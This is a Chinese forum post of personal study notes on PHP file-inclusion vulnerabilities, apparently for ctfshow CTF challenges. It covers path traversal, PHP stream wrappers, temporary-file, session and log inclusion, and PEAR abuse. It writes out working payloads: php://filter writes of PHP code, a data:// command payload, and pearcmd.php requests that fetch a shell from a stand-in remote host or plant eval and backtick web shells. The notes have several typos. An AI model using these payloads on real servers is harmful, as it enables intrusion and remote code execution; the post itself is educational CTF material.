IE盒子

搜索
查看: 86|回复: 0

学习笔记

[复制链接]

3

主题

10

帖子

16

积分

新手上路

Rank: 1

积分
16
发表于 2023-3-10 16:36:10 | 显示全部楼层 |阅读模式
一、 文件包含机制
php的机制之一,其本质就是代码执行。将函数写入文件中,另一个页面可以调用。
比如使用 include eval等语言结构
或者 file_get_contents等函数  
而所谓的文件包含漏洞,就是我们可以控制。

它与任意文件读取有何区别?
其对象不能是php文件,否则有些代码执行不了,服务器回显不了。
二、php语言的两大特点以及6大伪协议
(1)上层目录特性
1. 每个目录都有上层目录
2. 根目录的上层目录就是跟母驴本身
/var/www/html/../../../  => / 目录
/var/www/html/../../../../../../../../../  => / 目录 上溯
(2)php目录整理特性
/var/www/html/ctfshow/../flag.php
/var/www/html/flag.php

六大伪协议:
1、ftp://默认21端口,进行文件传输的协议
2、file:// 默认的文件协议
3、http:// 因为是明文传输,所以比较危险。
4、php协议   (web33 web34)
常用:php://input 返回原始流的数据   
php://filter 过滤作用  进行编码  
常见的有base64编码
/?file=php://filter/write=convert.base64-decode/resource=1.php
Body
content=PD9waHAgcGhwaW5mbygpOz8%2b      :<= base54endecode编码   content=<?php phpinfo();?>
rot13凯撒编码:
/?file=php://filter/write=string.rot13/resource=1.php
body:
content=<?php system("cat /flag"); ?>
总共有4种过滤器,详见php手册。


5 data://协议(web35) 和php://input作用类似,符合RFC的都是data协议   它能够不写文件而直接执行php代码。在data中我们可以省略甚至是编码。
例如常见的口令  ?file=data://text:plain/,<?php cat /f1ag ?>

二 php的文件上传机制
  把所有的信息放到这几个超全局变量里面去,php在设计时也不知道哪些界面用户会上传,哪些用户不会上传。
为了防止信息被动态使用,php会把所有信息都放到$_FILES里面去,先放在这个临时目录里去。
  首先介绍一下php的六大超全局变量,它们是用来存储请求相关的内容。
$_GET        $_POST      $_SERVER      $_COOKIE      $_SESSION      $_FILES
这些需要用到的临时信息,在php运行的几毫秒里是存在的。
它的格式在lunix下   /tep/phpxxxxxx  用户上传文件时都会放在临时目录里去
lunix下   当php执行完,系统会自动删除掉。而在这个过程中我们去执行临时文件是合法的。

三 高级文件包含:
1 ngnix 提供http服务,默认监听80端口。只执行php文件或者由中间件php-fpm返回的内容。
作用:在hackbar中,通过控制修改user-Agent的形式,插入Value,进行POST传参。  
其实就是修改ngnix默认路径下的日志文件,如果改了默认路径就不行了。

2 临时文件包含
/tmp/php??????
文件包含,能否包含一个 /???/????????[@-[]]  ?
答案是:不行 文件包含,是不支持通配符
我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除。
2种突破点:

  • 在php脚本运行过程中,包含临时文件。
  • 在脚本运行过程中,得到完整的临时文件名称,(用脚本得到文件名)

3 session文件包含
  首先必须要了解php中的session相关的函数。详见文档
实现机制:浏览器将SESSIONID存放到Cookie里,SESSIONID包含了变量secret的值。如果浏览器第二次读取secret,可以直接将它存储的内容输出出来。

4 pear文件包含

PEAR扩展(web40)
PHP Extension and Application Repository
默认安装位置是  /usr/local/lib/php/  

条件:
1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off
方法:(web40)
法一:远程文件下载
?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php
法二:生成配置文件
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三  写配置文件方式,配置项传入我们恶意的php代码的形式。
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
5 远程文件包含(web41)
hh.exe
36.9K
· 百度网盘


PHP7中文手册(2018).chm
16.6M
· 百度网盘
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表